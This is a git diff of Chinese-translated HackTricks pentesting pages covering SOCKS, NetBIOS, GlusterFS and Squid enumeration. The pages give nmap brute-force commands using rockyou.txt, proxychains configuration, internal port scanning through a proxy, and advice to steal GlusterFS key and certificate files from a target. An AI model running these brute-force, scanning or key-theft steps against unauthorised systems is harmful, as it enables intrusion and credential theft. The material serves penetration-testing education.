支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# 1080 - 渗透测试 Socks
|
||||
# 1080 - Pentesting Socks
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
**SOCKS** 是一种用于在客户端和服务器之间通过代理传输数据的协议。第五版 **SOCKS5** 添加了一个可选的身份验证功能,只允许经过授权的用户访问服务器。它主要处理 TCP 连接的代理和 UDP 数据包的转发,工作在 OSI 模型的会话层(第 5 层)。
|
||||
**SOCKS** 是一种用于通过代理在客户端和服务器之间传输数据的协议。第五个版本,**SOCKS5**,增加了可选的身份验证功能,仅允许授权用户访问服务器。它主要处理 TCP 连接的代理和 UDP 数据包的转发,操作在 OSI 模型的会话层(第 5 层)。
|
||||
|
||||
**默认端口:** 1080
|
||||
|
||||
|
@ -37,10 +38,6 @@ nmap --script socks-brute -p 1080 <ip>
|
|||
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
|
||||
```
|
||||
#### 输出
|
||||
|
||||
#### Socks Proxy
|
||||
|
||||
Socks Proxy是一种网络协议,允许网络流量通过代理服务器转发。 Socks代理通常用于绕过防火墙限制或隐藏用户的真实IP地址。在渗透测试中,可以使用Socks代理来匿名访问目标网络或绕过安全控制。
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
1080/tcp open socks
|
||||
|
@ -52,38 +49,33 @@ PORT STATE SERVICE
|
|||
```
|
||||
## 隧道和端口转发
|
||||
|
||||
### 基本proxychains用法
|
||||
### 基本的proxychains使用
|
||||
|
||||
设置proxychains以使用socks代理
|
||||
设置proxy chains以使用socks代理
|
||||
```
|
||||
nano /etc/proxychains4.conf
|
||||
```
|
||||
```html
|
||||
<p>Now that you have successfully set up your SOCKS proxy, you can use it to route your traffic through a remote server securely. This can help you bypass network restrictions and enhance your privacy and anonymity online.</p>
|
||||
|
||||
<p>Remember to always use proxies responsibly and avoid engaging in any illegal activities.</p>
|
||||
|
||||
<p>Happy hacking!</p>
|
||||
```
|
||||
编辑底部并添加您的代理
|
||||
```
|
||||
socks5 10.10.10.10 1080
|
||||
```
|
||||
使用认证
|
||||
带认证
|
||||
```
|
||||
socks5 10.10.10.10 1080 username password
|
||||
```
|
||||
#### 更多信息: [隧道和端口转发](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,38 @@
|
|||
# 137,138,139 - Pentesting NetBios
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## NetBios名称服务
|
||||
## NetBios Name Service
|
||||
|
||||
**NetBIOS名称服务**发挥着关键作用,涉及各种服务,如**名称注册和解析**,**数据报分发**和**会话服务**,每种服务都使用特定的端口。
|
||||
**NetBIOS名称服务**在其中扮演着至关重要的角色,涉及各种服务,如**名称注册和解析**、**数据报分发**和**会话服务**,为每项服务利用特定端口。
|
||||
|
||||
[来自Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
[来自维基百科](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
|
||||
* 用于名称注册和解析的名称服务(端口:137/udp和137/tcp)。
|
||||
* 用于无连接通信的数据报分发服务(端口:138/udp)。
|
||||
* 用于面向连接的通信的会话服务(端口:139/tcp)。
|
||||
* 用于面向连接通信的会话服务(端口:139/tcp)。
|
||||
|
||||
### 名称服务
|
||||
|
||||
要使设备参与NetBIOS网络,它必须具有唯一的名称。这是通过**广播过程**实现的,其中发送“名称查询”数据包。如果没有收到异议,该名称被视为可用。或者,可以直接查询**名称服务服务器**以检查名称是否可用或将名称解析为IP地址。工具如`nmblookup`,`nbtscan`和`nmap`用于枚举NetBIOS服务,显示服务器名称和MAC地址。
|
||||
为了使设备参与NetBIOS网络,它必须具有唯一名称。这是通过**广播过程**实现的,其中发送一个“名称查询”数据包。如果没有收到异议,则该名称被视为可用。或者,可以直接查询**名称服务服务器**以检查名称的可用性或将名称解析为IP地址。工具如`nmblookup`、`nbtscan`和`nmap`被用于枚举NetBIOS服务,揭示服务器名称和MAC地址。
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
```
|
||||
枚举NetBIOS服务,您可以获取服务器正在使用的名称和服务器的MAC地址。
|
||||
通过枚举 NetBIOS 服务,您可以获取服务器正在使用的名称和服务器的 MAC 地址。
|
||||
```bash
|
||||
nmblookup -A <IP>
|
||||
nbtscan <IP>/30
|
||||
|
@ -39,18 +40,18 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
|||
```
|
||||
### 数据报分发服务
|
||||
|
||||
NetBIOS数据报允许通过UDP进行无连接通信,支持直接消息传递或向所有网络名称广播。该服务使用**138/udp**端口。
|
||||
NetBIOS 数据报允许通过 UDP 进行无连接通信,支持直接消息传递或广播到所有网络名称。此服务使用端口 **138/udp**。
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
```
|
||||
### 会话服务
|
||||
### Session Service
|
||||
|
||||
对于面向连接的交互,**会话服务**通过端口**139/tcp**促进两台设备之间的对话,利用**TCP**连接。会话始于“会话请求”数据包,并可根据响应建立。该服务支持更大的消息、错误检测和恢复,TCP处理流量控制和数据包重传。
|
||||
对于面向连接的交互,**Session Service** 通过 **139/tcp** 端口利用 **TCP** 连接促进两个设备之间的对话。会话以 "Session Request" 数据包开始,并可以根据响应建立。该服务支持更大的消息、错误检测和恢复,TCP 处理流量控制和数据包重传。
|
||||
|
||||
会话内的数据传输涉及**会话消息数据包**,会话通过关闭TCP连接来终止。
|
||||
会话中的数据传输涉及 **Session Message packets**,会话通过关闭 TCP 连接来终止。
|
||||
|
||||
这些服务对于**NetBIOS**功能至关重要,实现网络上的高效通信和资源共享。有关TCP和IP协议的更多信息,请参考它们各自的[TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol)和[IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol)页面。
|
||||
这些服务是 **NetBIOS** 功能的核心,能够在网络中实现高效的通信和资源共享。有关 TCP 和 IP 协议的更多信息,请参阅它们各自的 [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) 和 [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) 页面。
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
|
@ -60,6 +61,8 @@ PORT STATE SERVICE VERSION
|
|||
{% content-ref url="137-138-139-pentesting-netbios.md" %}
|
||||
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## HackTricks 自动命令
|
||||
```
|
||||
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
|
@ -82,16 +85,17 @@ Name: Find Names
|
|||
Description: Three scans to find the names of the server
|
||||
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,33 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
**GlusterFS**是一个**分布式文件系统**,将多台服务器的存储合并为一个**统一系统**。它支持**任意扩展性**,意味着您可以轻松添加或移除存储服务器而不会影响整个文件系统。这确保了您的数据具有高**可用性**和**容错性**。使用GlusterFS,您可以像访问本地存储一样访问文件,而不受基础服务器基础架构的影响。它为跨多台服务器管理大量数据提供了强大而灵活的解决方案。
|
||||
**GlusterFS** 是一个 **分布式文件系统**,将多个服务器的存储结合成一个 **统一系统**。它允许 **任意扩展性**,这意味着您可以轻松添加或移除存储服务器,而不会干扰整体文件系统。这确保了数据的高 **可用性** 和 **容错性**。使用 GlusterFS,您可以像访问本地存储的文件一样访问您的文件,无论底层服务器基础设施如何。它为在多个服务器上管理大量数据提供了强大而灵活的解决方案。
|
||||
|
||||
**默认端口**:24007/tcp/udp,24008/tcp/udp,49152/tcp(以后)\
|
||||
对于端口49152,需要打开递增1的端口以使用更多的bricks。_以前使用端口24009代替49152。_
|
||||
**默认端口**:24007/tcp/udp, 24008/tcp/udp, 49152/tcp (及其之后的端口)\
|
||||
对于端口 49152,需要打开递增 1 的端口以使用更多的砖块。_之前使用的是端口 24009,而不是 49152._
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
```
|
||||
## 枚举
|
||||
## Enumeration
|
||||
|
||||
要与此文件系统交互,您需要安装[**GlusterFS客户端**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`)。
|
||||
要与此文件系统交互,您需要安装 [**GlusterFS client**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`)。
|
||||
|
||||
要列出和挂载可用的卷,您可以使用:
|
||||
```bash
|
||||
|
@ -35,12 +36,27 @@ sudo gluster --remote-host=10.10.11.131 volume list
|
|||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
```
|
||||
如果您在**尝试挂载文件系统**时收到错误,可以检查`/var/log/glusterfs/`中的日志。
|
||||
如果您收到**挂载文件系统时出错**,可以检查`/var/log/glusterfs/`中的日志。
|
||||
|
||||
**提到证书的错误**可以通过窃取以下文件来修复(如果您可以访问系统):
|
||||
**提到证书的错误**可以通过窃取文件来修复(如果您有系统访问权限):
|
||||
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
* /etc/ssl/glusterfs.ca
|
||||
* /etc/ssl/glusterfs.key
|
||||
* /etc/ssl/glusterfs.ca.pem
|
||||
|
||||
然后将它们存储在您的机器的`/etc/ssl`或`/usr/lib/ssl`目录中(如果使用不同的目录,请检查日志中是否有类似以下行的内容:“_could not load our cert at /usr/lib/ssl/glusterfs.pem_”)。
|
||||
并将它们存储在您的机器的`/etc/ssl`或`/usr/lib/ssl`目录中(如果使用不同的目录,请检查日志中类似于:“_无法在/usr/lib/ssl/glusterfs.pem加载我们的证书_”的行)。
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,62 +1,64 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
来自[Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
||||
来自 [维基百科](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
||||
|
||||
> **Squid**是一个缓存和转发的HTTP网络代理。它有各种用途,包括通过缓存重复请求来加快Web服务器的速度,为共享网络资源的一组人员缓存Web、DNS和其他计算机网络查找,并通过过滤流量来帮助安全性。尽管主要用于HTTP和FTP,Squid还包括对几种其他协议的有限支持,包括Internet Gopher、SSL、TLS和HTTPS。与Privoxy不同,Squid不支持SOCKS协议,但可以与Privoxy一起使用以提供SOCKS支持。
|
||||
> **Squid** 是一个缓存和转发的 HTTP 网络代理。它有多种用途,包括通过缓存重复请求来加速 Web 服务器,为共享网络资源的一组人缓存 Web、DNS 和其他计算机网络查找,以及通过过滤流量来帮助安全性。虽然主要用于 HTTP 和 FTP,Squid 还有限度支持其他几种协议,包括 Internet Gopher、SSL、TLS 和 HTTPS。与 Privoxy 不同,Squid 不支持 SOCKS 协议,但可以与 Privoxy 一起使用以提供 SOCKS 支持。
|
||||
|
||||
**默认端口:** 3128
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
3128/tcp open http-proxy Squid http proxy 4.11
|
||||
```
|
||||
# 枚举
|
||||
# Enumeration
|
||||
|
||||
## Web代理
|
||||
## Web Proxy
|
||||
|
||||
您可以尝试将发现的服务设置为浏览器中的代理。但是,如果它配置了HTTP身份验证,您将被要求输入用户名和密码。
|
||||
您可以尝试在浏览器中将此发现的服务设置为代理。但是,如果它配置了HTTP身份验证,您将被提示输入用户名和密码。
|
||||
```bash
|
||||
# Try to proxify curl
|
||||
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
||||
```
|
||||
## Nmap 代理化
|
||||
## Nmap proxified
|
||||
|
||||
您还可以尝试滥用代理来**扫描内部端口并代理 nmap**。\
|
||||
配置 proxychains 使用 squid 代理,在 proxichains.conf 文件末尾添加以下行:`http 10.10.10.10 3128`。\
|
||||
对于需要身份验证的代理,通过在配置中包含用户名和密码来附加凭据:`http 10.10.10.10 3128 username passw0rd`。
|
||||
您还可以尝试利用代理来**扫描内部端口以代理nmap**。\
|
||||
通过在proxichains.conf文件末尾添加以下行来配置proxychains以使用squid代理:`http 10.10.10.10 3128`\
|
||||
对于需要身份验证的代理,通过在末尾包含用户名和密码将凭据附加到配置中:`http 10.10.10.10 3128 username passw0rd`。
|
||||
|
||||
然后使用 proxychains 运行 nmap 来**从本地扫描主机**:`proxychains nmap -sT -n -p- localhost`
|
||||
然后使用proxychains运行nmap以**从本地扫描主机**:`proxychains nmap -sT -n -p- localhost`
|
||||
|
||||
## SPOSE 扫描器
|
||||
## SPOSE Scanner
|
||||
|
||||
另外,可以使用 Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose))。
|
||||
或者,可以使用Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose))。
|
||||
```bash
|
||||
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
